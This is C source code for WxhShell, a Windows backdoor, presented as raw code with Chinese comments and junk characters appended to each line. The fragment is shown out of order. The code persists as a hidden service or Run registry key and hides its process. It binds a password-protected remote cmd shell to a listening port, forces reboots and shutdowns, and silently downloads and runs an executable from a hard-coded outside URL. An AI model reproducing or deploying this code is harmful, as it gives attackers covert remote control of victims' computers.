    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<r@zb9  
    else { B#zu< z  
    closesocket(wsh); GjHV|)^  
    ExitThread(0); Qp]-:b  
    } -W6r.E$mC  
    break; EWU(Al T  
    } cx+li4v  
  // 获取shell y2_^lW%  
  case 's': { :)~idVlV  
    CmdShell(wsh); ,_G((oS40  
    closesocket(wsh); oBBL7/L  
    ExitThread(0); f@G3,u!]i  
    break; <'Ppu  
  } :J 7p=sX  
  // 退出 ?PpGBm2f*  
  case 'x': { <Z0N)0|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $qvk9 B0E  
    CloseIt(wsh); CrTGC%w{=  
    break; 1u%e7  
    } TB oN8cB}  
  // 离开 @)R6!"p  
  case 'q': {  Uk2U:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *5Mg^}ZC5  
    closesocket(wsh); O8!> t7x  
    WSACleanup(); t;^NgkP{$  
    exit(1); Ke 5fe#  
    break; ?;q  
        } Y{Yp N  
  } #3+-vyZm  
  } z?b[ 6DLV;  
)bl'' yO  
  // 提示信息 {6/Yu: ;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *E"OQsIl  
} 7H,p/G?]k  
  } \v*WI)]  
;|.~'':  
  return; )`4g,W  
} ZRD@8'1p  
{j0c)SETN  
// shell模块句柄 CH`_4UAX%  
int CmdShell(SOCKET sock) yjq~O~  
{ .lcI"%>  
STARTUPINFO si; ox}LC, !  
ZeroMemory(&si,sizeof(si)); MO1t 0Myc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ulqh}Uv'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SK>*tKY  
PROCESS_INFORMATION ProcessInfo; /q3]AVV  
char cmdline[]="cmd"; eM>f#M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #]vy`rv  
  return 0; !)nA4l= S#  
} :(^, WOf  
H&yK{0H  
// 自身启动模式  C0Oe$& _  
int StartFromService(void) t 7(#Cuv-  
{ \nX5 $[  
typedef struct m4 :|  
{ I_h8)W  
  DWORD ExitStatus; cTq}H_hC  
  DWORD PebBaseAddress; Zy<gA >  
  DWORD AffinityMask; s={jwI50  
  DWORD BasePriority; @@])B#  
  ULONG UniqueProcessId; BB>R=kt  
  ULONG InheritedFromUniqueProcessId; !_ng_,J  
}   PROCESS_BASIC_INFORMATION; X}-) io  
<8'-azpJ6<  
PROCNTQSIP NtQueryInformationProcess; m\Xgvpv rP  
['G@`e*\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F$!K/Mm[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9q4%s?)j  
O6P{+xj$  
  HANDLE             hProcess; oX;D|8 f  
  PROCESS_BASIC_INFORMATION pbi; App9um3:  
+ Q $J q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;I#f:UQ  
  if(NULL == hInst ) return 0; |k3^ eeLk  
`<3/k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @77%15_Jz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V>Zw" #Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7Zf * T  
 4dd]Ju  
  if (!NtQueryInformationProcess) return 0; t:SME'~.P  
&' 0|U{|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d/m.VnW  
  if(!hProcess) return 0; AWXBk+  
/c>@^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wcd1.$ n  
tlz+!>  
  CloseHandle(hProcess); <z=d5g{n  
7FTf8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .o&Vu,/H  
if(hProcess==NULL) return 0; ]:6M!+?(  
d=6FL" .o  
HMODULE hMod; :M |<c9I  
char procName[255]; qZcRK9l]F1  
unsigned long cbNeeded; &2,0?ra2&  
xv+47.?N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -q8R'?z[  
y|e@zf  
  CloseHandle(hProcess); Pf4b/w/  
wB~5&:]jr  
if(strstr(procName,"services")) return 1; // 以服务启动 { ]F };_  
?Ji nX'z  
  return 0; // 注册表启动 SGp}(j>  
}  3g#  
15 /lX  
// 主模块 \QZ~w_  
int StartWxhshell(LPSTR lpCmdLine) {zri6P+s  
{ pI>[^7  
  SOCKET wsl; Q.$|TbVfds  
BOOL val=TRUE; ';\v:dP  
  int port=0; &t1Uk[  
  struct sockaddr_in door; S 6|#9C&  
:d!qZFln  
  if(wscfg.ws_autoins) Install(); Vzs_g]V  
Q8~|0X\.g  
port=atoi(lpCmdLine); DC5^k[m  
S%sD#0l  
if(port<=0) port=wscfg.ws_port; |P>Yf0  
Ow@ }6&1  
  WSADATA data; }1sFddGVt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '&OJ hLE  
TrEo5H;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uE]kv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .wb[cCUQ  
  door.sin_family = AF_INET; bS!4vc1`2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $BPTk0Y  
  door.sin_port = htons(port); lDV}vuM<4  
{?zBc E:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZSUbPz  
closesocket(wsl); W{1"  
return 1; [T<Z?  
} UrP jZ:K'  
d<@SRHP(  
  if(listen(wsl,2) == INVALID_SOCKET) { VsrYU@V  
closesocket(wsl); ^_Ap?zn  
return 1; }+F&=-P)  
} k\NwH?ppu  
  Wxhshell(wsl); mbS`+)1=l  
  WSACleanup(); q9^6A90  
JJ+A+sfdk  
return 0; W{v{sQg  
gpe/dfyJ9  
} M(8Mj[>>Rj  
zBKfaQI,  
// 以NT服务方式启动 ?##3E, /"9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z +vT76g3  
{ ~@Wg3'&  
DWORD   status = 0; I8s%wY9  
  DWORD   specificError = 0xfffffff; W|yF jE&dr  
v RR(b!Lq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e0nr dM[i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )^)j=xs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *2(W`m  
  serviceStatus.dwWin32ExitCode     = 0; ,2R7AHk  
  serviceStatus.dwServiceSpecificExitCode = 0; *\M$pUS{  
  serviceStatus.dwCheckPoint       = 0; Ul`~d !3zH  
  serviceStatus.dwWaitHint       = 0; Q~y) V  
ayR;|S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  !=f$ [1  
  if (hServiceStatusHandle==0) return; ylo/]pVs  
R'Uw17I  
status = GetLastError(); JR_s-&GaM  
  if (status!=NO_ERROR) \{RMj"w:  
{ >cV^f6fH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _x&fK$Y)B  
    serviceStatus.dwCheckPoint       = 0; :1 Y*&s  
    serviceStatus.dwWaitHint       = 0; 9!kH:Az[p  
    serviceStatus.dwWin32ExitCode     = status; xyvG+K&  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4uV,$/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ydx-` yg#  
    return; mx ]a@tu  
  } jO9w7u6  
2`ED?F68gH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; itpljh  
  serviceStatus.dwCheckPoint       = 0; A{QXzoWkg0  
  serviceStatus.dwWaitHint       = 0; T]fBVA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I.qP$j  
} "+@>!U  
iYE7BUH=  
// 处理NT服务事件,比如:启动、停止 Z6F^p8O-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D rMG{Yiu  
{ .R<Ke\y/  
switch(fdwControl) R'Y=- yF  
{ u[>hs \3k  
case SERVICE_CONTROL_STOP: ]-D&/88``  
  serviceStatus.dwWin32ExitCode = 0; 1;Q>B>6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]%4rL S  
  serviceStatus.dwCheckPoint   = 0; :-.K.Ch|:  
  serviceStatus.dwWaitHint     = 0; Jy?#@/~  
  { (X(296<;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [/Figr]  
  } DsI{*#  
  return; .bT+#x  
case SERVICE_CONTROL_PAUSE: YM(` E9{h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M.(shIu!+  
  break; ]\8{z"  
case SERVICE_CONTROL_CONTINUE: j&qJK,~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j0]|$p  
  break; /;K?Y#mf~j  
case SERVICE_CONTROL_INTERROGATE: fho$:S  
  break; >JWW2<  
}; UojHlTg#bT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yE80*C~d  
} `~.0PnHf  
UyWKE<  
// 标准应用程序主函数 * I{)8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )HFl 0[vT  
{ TfFuHzZZ  
{TWgR2?{C  
// 获取操作系统版本 R=/6bR57  
OsIsNt=GetOsVer(); ;Bs^+R7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3H'+7[~qH  
(K}Md~  
  // 从命令行安装 uINm>$G,5  
  if(strpbrk(lpCmdLine,"iI")) Install(); } XJZw|n  
x|6# /m  
  // 下载执行文件 MUs~ZF  
if(wscfg.ws_downexe) { >d{O1by=d9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }_A#O|dxO  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9W~3E^x  
} 1q&gTvIp  
?d? cD  
if(!OsIsNt) { EA/+~ux  
// 如果时win9x,隐藏进程并且设置为注册表启动 =)p/p6  
HideProc(); 4 <&8`Q  
StartWxhshell(lpCmdLine); 6$l6>A  
} @NY$.K#]  
else 4=T>Iy  
  if(StartFromService()) GkutS.2G#  
  // 以服务方式启动 [)ybPIv]  
  StartServiceCtrlDispatcher(DispatchTable); &7gE=E(M  
else u\]aUP e  
  // 普通方式启动 BUozpqN}  
  StartWxhshell(lpCmdLine); YnCWmlC  
7T)J{:+0!|  
return 0; pKM5<1J  
} w ,CZ*/^  
g3i !>  
luEP5l2&  
jgb>:]:  
=========================================== ;h }^f-  
dF- d  
09RJc3XE9  
z+J4XpX0,  
7r_Y.  
=}G `i**  
" 05+uBwH  
0k];%HV|  
#include <stdio.h> #&hu-gMV  
#include <string.h> ;zbF~5e  
#include <windows.h> 9bDxml1  
#include <winsock2.h> f17pwJ~=  
#include <winsvc.h> - /s2'  
#include <urlmon.h> p4|Zz:f  
Ux2p qPb  
#pragma comment (lib, "Ws2_32.lib") gda3{g7<)  
#pragma comment (lib, "urlmon.lib") u/@dWeY[]  
aXSTA ,%  
#define MAX_USER   100 // 最大客户端连接数 (aO+7ykRuJ  
#define BUF_SOCK   200 // sock buffer .-:R mYGR  
#define KEY_BUFF   255 // 输入 buffer `GG PkTN  
U =()T}b>  
#define REBOOT     0   // 重启 oXR%A7  
#define SHUTDOWN   1   // 关机 o,fBOPIN  
^c9~~m16+  
#define DEF_PORT   5000 // 监听端口 *d,u)l :S  
9tnW:Nw~  
#define REG_LEN     16   // 注册表键长度 TT(d CHft  
#define SVC_LEN     80   // NT服务名长度 "~f=7  
'WUevPmt  
// 从dll定义API @nJ#kd[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e3L<;MAt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {$<X\\&r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >D';i\2j&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jocu=Se@  
|<@X* #X5  
// wxhshell配置信息 ZW}0{8Dk  
struct WSCFG { V m1U00lM{  
  int ws_port;         // 监听端口 4g.y$  
  char ws_passstr[REG_LEN]; // 口令 Y dgaZJs  
  int ws_autoins;       // 安装标记, 1=yes 0=no  LWb5C{  
  char ws_regname[REG_LEN]; // 注册表键名 T/^ /U6JB  
  char ws_svcname[REG_LEN]; // 服务名 #_tixg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v :YW[THre  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]hBp elKJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nnU &R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B=:7N;BT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cD6$C31Y]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @x>J-Owd]J  
a9ab>2G?FR  
}; i%+p\eeq*  
y@|gG&f T  
// default Wxhshell configuration NhxTSyT"t  
struct WSCFG wscfg={DEF_PORT, H\f.a R=  
    "xuhuanlingzhe", =NH p%|  
    1, 0ih=<@1K  
    "Wxhshell", o)P'H"Ki  
    "Wxhshell", Y9TaU]7]  
            "WxhShell Service", [T;0vv8  
    "Wrsky Windows CmdShell Service", O)'Bx=S4Ke  
    "Please Input Your Password: ", G<C[A  
  1, 4Lx#5}P  
  "http://www.wrsky.com/wxhshell.exe", `N~;X~XFk  
  "Wxhshell.exe" npH2&6Yhi^  
    }; uvK1gJrA)  
f$x\~y<[  
// 消息定义模块 :N~1fvx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;a/Gs^W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Tn+6:<OFdO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9L}=xX`>?  
char *msg_ws_ext="\n\rExit."; i#t)tM"  
char *msg_ws_end="\n\rQuit."; -E4e8'P;5  
char *msg_ws_boot="\n\rReboot..."; 1/Pou)D  
char *msg_ws_poff="\n\rShutdown..."; \c&%F=1+*  
char *msg_ws_down="\n\rSave to "; lPh>8:qFM  
qV$\.T>x  
char *msg_ws_err="\n\rErr!"; Y~T;{&wi  
char *msg_ws_ok="\n\rOK!"; slV+2b  
C@` eYi  
char ExeFile[MAX_PATH]; ^D(N_va<  
int nUser = 0; ,C88%k  
HANDLE handles[MAX_USER]; 3,8>\yf`  
int OsIsNt; 5MH\Gq e7  
?Sj3-*/?  
SERVICE_STATUS       serviceStatus; SU.T0>w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Si#b"ls'  
(~P b,Q  
// 函数声明 5!r?U  
int Install(void); !M&L<0b:7e  
int Uninstall(void); cn$E?&-  
int DownloadFile(char *sURL, SOCKET wsh); \4q% n  
int Boot(int flag); AF4:v<EN  
void HideProc(void); (^'TT>2B  
int GetOsVer(void); RLN>*X  
int Wxhshell(SOCKET wsl); Gb6t`dSzz  
void TalkWithClient(void *cs); }g:y!p k  
int CmdShell(SOCKET sock); ST3aiyG  
int StartFromService(void); gG0P &9xz  
int StartWxhshell(LPSTR lpCmdLine); Kc+;"4/#q  
Ey$J.qw3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j4L ) D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n$Z@7r  
#pbPaRJL(  
// 数据结构和表定义 ,[}5@cS  
SERVICE_TABLE_ENTRY DispatchTable[] = Kd8V,teH  
{ dUOvv/,FZT  
{wscfg.ws_svcname, NTServiceMain}, kAbRXID  
{NULL, NULL} [ Y_6PR  
}; Ycypd\q/  
0wV!mC  
// 自我安装 Yxye?R-:  
int Install(void) OPR+K ?  
{ C`c;I7  
  char svExeFile[MAX_PATH]; r>1M&Y=<  
  HKEY key; [?mDTD8zU  
  strcpy(svExeFile,ExeFile); $\l7aA5~  
TTaSg\K  
// 如果是win9x系统,修改注册表设为自启动 #(C2KRRiA  
if(!OsIsNt) { HDU tLU d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  E%\jR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |ahleu  
  RegCloseKey(key); [#>ji+%=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LuQ4TT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1>OfJc(K  
  RegCloseKey(key); >cEc##:5  
  return 0; ]w.:K*_=  
    } 4]jN@@  
  } c Q~}qE>I  
} f?T6Ne'  
else { [$_d|Z  
D;.O#bS  
// 如果是NT以上系统,安装为系统服务 mw9;LNi\D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z5PFppSQ  
if (schSCManager!=0) GUJ[2/V~A  
{ sZ #Ck"n  
  SC_HANDLE schService = CreateService *joy%F  
  ( uBI?nv,  
  schSCManager, F|q-ZlpW-  
  wscfg.ws_svcname, r- 0BLq]~{  
  wscfg.ws_svcdisp, i|PQNhUe  
  SERVICE_ALL_ACCESS, AK\X{>$a!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hzs]\%"  
  SERVICE_AUTO_START, |><hdBQXX<  
  SERVICE_ERROR_NORMAL, = R|?LOEK+  
  svExeFile, )=TD}Xb  
  NULL, /NCEZ@2BN,  
  NULL, x g~q'>  
  NULL, _ETG.SYq  
  NULL, +v:t  
  NULL Mp*")N,  
  ); kRs(A~ngc  
  if (schService!=0) elCDPZTf  
  { :Xc%_&)  
  CloseServiceHandle(schService); Mi&,64<  
  CloseServiceHandle(schSCManager); h(!x&kZq.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /%Lj$]S7[4  
  strcat(svExeFile,wscfg.ws_svcname); 6%Ap/zvCZ>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ALS\}_8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %1fH-:c=C0  
  RegCloseKey(key); (KR$PLxDK  
  return 0; $lmbeW[0  
    } _7>$'V{  
  } f^il|Obzl  
  CloseServiceHandle(schSCManager); hko0 ?z  
} az@{O4  
} qy=4zOOD#  
;Pik},  
return 1; l-4T Tg  
} PV vNu5k  
'"LrGvkZ  
// 自我卸载 bFk >IifN  
int Uninstall(void) j(mbUB*  
{ `#B|l+baq  
  HKEY key; "M5P-l$p}  
< U`lh  
if(!OsIsNt) { M7{w7}B0@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8X`iMFa.P  
  RegDeleteValue(key,wscfg.ws_regname); :RR<-N5+  
  RegCloseKey(key); p%~#~5t,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8#NtZ  
  RegDeleteValue(key,wscfg.ws_regname); @'`!2[2'?  
  RegCloseKey(key); S'qEBz  
  return 0; )p'ZSXb  
  } z><=F,W  
} =zBcfFii`w  
} uTGd{w@]0|  
else { o@j]yA.5)  
(3YCe{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xWlj.Tjt}  
if (schSCManager!=0) "']I.  
{ FI++A`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S05+G}[$  
  if (schService!=0) BYuF$[3ya&  
  { 4d3]L` f  
  if(DeleteService(schService)!=0) { nsFOtOdd  
  CloseServiceHandle(schService); 0FmYM@Wc  
  CloseServiceHandle(schSCManager); 3Z#k9c_b  
  return 0; 9 lE[oAC  
  } lR[[]Yn  
  CloseServiceHandle(schService); "mc/fp  
  } ($EA/|z  
  CloseServiceHandle(schSCManager); t98t&YUpm  
} s*{l}~fPkW  
} Pn|A>.)z  
i-[ic!RnKj  
return 1; >2l1t}"\  
} 5Z/xY &  
89T xd9X  
// 从指定url下载文件 XB*)d 9'8  
int DownloadFile(char *sURL, SOCKET wsh) |?{3&'`J8w  
{ IiTV*azVh  
  HRESULT hr; >aXyi3B  
char seps[]= "/"; p\OUxAm  
char *token; h<2o5c|  
char *file; x`K<z J   
char myURL[MAX_PATH]; "&*O7cs$pA  
char myFILE[MAX_PATH]; SskvxH+7  
f*KNt_|:  
strcpy(myURL,sURL); [:<CgU9C  
  token=strtok(myURL,seps); 9}4P%>_  
  while(token!=NULL) ! iuDmL  
  { ]V*s-och'  
    file=token; $qG;^1$  
  token=strtok(NULL,seps); cM%I5F+n  
  } _$%.F| :  
_7r<RZ  
GetCurrentDirectory(MAX_PATH,myFILE); :N$^x /{  
strcat(myFILE, "\\"); vgY ) L  
strcat(myFILE, file); <uZ r.X  
  send(wsh,myFILE,strlen(myFILE),0); vw VeHjR  
send(wsh,"...",3,0); Q qGf*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .%;`: dtj  
  if(hr==S_OK) - ;1'{v  
return 0; ?145^ w  
else -d]-R ?mQ  
return 1; 3D L7  
vAWJP_;J  
} BM5+;h !  
<$bM*5sHF>  
// 系统电源模块 S}6Ty2.\  
int Boot(int flag) ) =-$>75Z  
{ As0E'n85  
  HANDLE hToken; D^ZG-WR  
  TOKEN_PRIVILEGES tkp; ;hb;%<xqT  
ggQ/_F8u  
  if(OsIsNt) { Vg'vL[Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZXV_Dc   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5{nERKaPf  
    tkp.PrivilegeCount = 1; F]]1>w*/0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xUl=N   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q5C(/@)^  
if(flag==REBOOT) { ~L\KMB/9e=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #M kXio; h  
  return 0; -X+G_rY  
} gDbj!(tm  
else { &Omo\Oq&W>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) | a001_Wv  
  return 0; 50r3Kl0  
} vN#?>aL  
  } 0#1hkJ"  
  else { 'J\nvNm  
if(flag==REBOOT) { Fy:CG6@X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |a9d]^  
  return 0; QOXG:?v\  
} q?} /q  
else { NG3!09eY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }e$^v*16  
  return 0; XY %er  
} .Z%y16)T  
} eC`} oEz  
Y'-@O"pK  
return 1; OsI>gX>  
} l;{n" F  
%N5gQXg  
// win9x进程隐藏模块 )CgKZ"  
void HideProc(void) @BQJKPF*  
{ x\( @ v  
4 mj\wBp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >YG1sMV-J  
  if ( hKernel != NULL ) ;75m 9yGo  
  { c;siMWw;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &b :u~puM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JX4uH>6  
    FreeLibrary(hKernel); <ZmC8&Uo  
  } dy/\>hu  
5cahbx1"  
return; #snwRW>=[  
} Xwz9E!m  
F}9!k LR  
// 获取操作系统版本 S-x'nu$u  
int GetOsVer(void) pJ8;7u  
{ U\OfB'Dn  
  OSVERSIONINFO winfo; TCShS}q;%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %L;z~C  
  GetVersionEx(&winfo); ',Y`XP"Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l Tpn/  
  return 1; O3ij/8f  
  else ivTx6-]  
  return 0; |,YyuCQcL[  
} 6.#5Ra   
B%y?+4;zA  
// 客户端句柄模块 I*h%e,yIO  
int Wxhshell(SOCKET wsl) : jgvg$fd  
{ NsbC0xLd  
  SOCKET wsh; 2ed4xh V  
  struct sockaddr_in client; @4sEHk 3  
  DWORD myID; R<\5 q%@G  
HJ5 Ktt  
  while(nUser<MAX_USER) KDTG9KC  
{ * AsILK0  
  int nSize=sizeof(client); ^YVd^<cE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'v|R' wi\  
  if(wsh==INVALID_SOCKET) return 1; [[vu#'bc  
w4:|Z@I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); + t%[$"$  
if(handles[nUser]==0) @34Z/%A  
  closesocket(wsh); !+bLh W`  
else m .:2G  
  nUser++; h\qQ%|X  
  } {?X#E12vf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d}d1]@Y\  
jVW .=FK  
  return 0; 1=U(ZX+u  
} 5a8[0&hA 2  
]IF QD  
// 关闭 socket R\i8O^[  
void CloseIt(SOCKET wsh) s,z$Vt"h*K  
{ sGBm[lplz  
closesocket(wsh); A=N &(k  
nUser--; He&7(mQ0^  
ExitThread(0); WA'4y\N  
} UQ X.  
*yx5G-#?  
// 客户端请求句柄 YJ6y]r K2,  
void TalkWithClient(void *cs) `5SLo=~  
{ i sK_t*  
fRcs@yZnS  
  SOCKET wsh=(SOCKET)cs; f&=WgITa  
  char pwd[SVC_LEN]; FCr^D$_w  
  char cmd[KEY_BUFF]; -_%8Q#"  
char chr[1];  5yA1<&z  
int i,j; 3EY>XS  
30BFwNE  
  while (nUser < MAX_USER) { 3bWYRW  
b\Wlpb=QZ  
if(wscfg.ws_passstr) { N*^iOm]Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k U75  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q4;%[7LU  
  //ZeroMemory(pwd,KEY_BUFF); T O]wD^`  
      i=0; OV~]-5gau  
  while(i<SVC_LEN) { tVUC@M>'  
s (2/]f$  
  // 设置超时 vHydqFi9  
  fd_set FdRead; 6H ]rO3[8  
  struct timeval TimeOut; {zck Y  
  FD_ZERO(&FdRead); 4J~ZZ  
  FD_SET(wsh,&FdRead); bUcEQGHcZ=  
  TimeOut.tv_sec=8; 9~rrN60Q  
  TimeOut.tv_usec=0; ;nSOe AF)Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B,x ohT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T'W@fif  
W5)R{w0`GD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r 9~Wh $  
  pwd=chr[0]; B@+&?%ub:  
  if(chr[0]==0xd || chr[0]==0xa) { /r8'stRzv  
  pwd=0; og?>Q i Tr  
  break; #7*{ $v  
  } eb#yCDIC   
  i++; L2 ybL#dz  
    } nO\c4#ce  
6x.ZS'y  
  // 如果是非法用户,关闭 socket e=H,|)P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  /# FU"  
} NMy+=GZu^  
-%G}T}"_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H^d2|E[D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $n><p>`  
}G/#Nb)  
while(1) { )%zOq:{\5  
7Rq|N$y.3  
  ZeroMemory(cmd,KEY_BUFF); n5NwiSE  
sC}p_'L  
      // 自动支持客户端 telnet标准   15l{gbCW  
  j=0; IG(1h+5 R(  
  while(j<KEY_BUFF) { pzcl@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o9XT_!Cwg  
  cmd[j]=chr[0]; ! ^ DQX=1  
  if(chr[0]==0xa || chr[0]==0xd) { id?B<OM  
  cmd[j]=0; h>a/3a$g  
  break; W'xJh0o  
  } #Fwf]{J  
  j++; *.,G;EC^  
    } pYBY"r  
c e\|eN[  
  // 下载文件 llE_-M2gH  
  if(strstr(cmd,"http://")) { P}re"<MD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L|`(u  
  if(DownloadFile(cmd,wsh)) E9bc pup  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v<AFcY   
  else AE@N:a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ll^#I/  
  } RG8Ek"D@  
  else { oro^'#ki  
DkA@KS1Dq  
    switch(cmd[0]) { ,7/F?!G!J  
  s#* DY  
  // 帮助 %+bw2;a6  
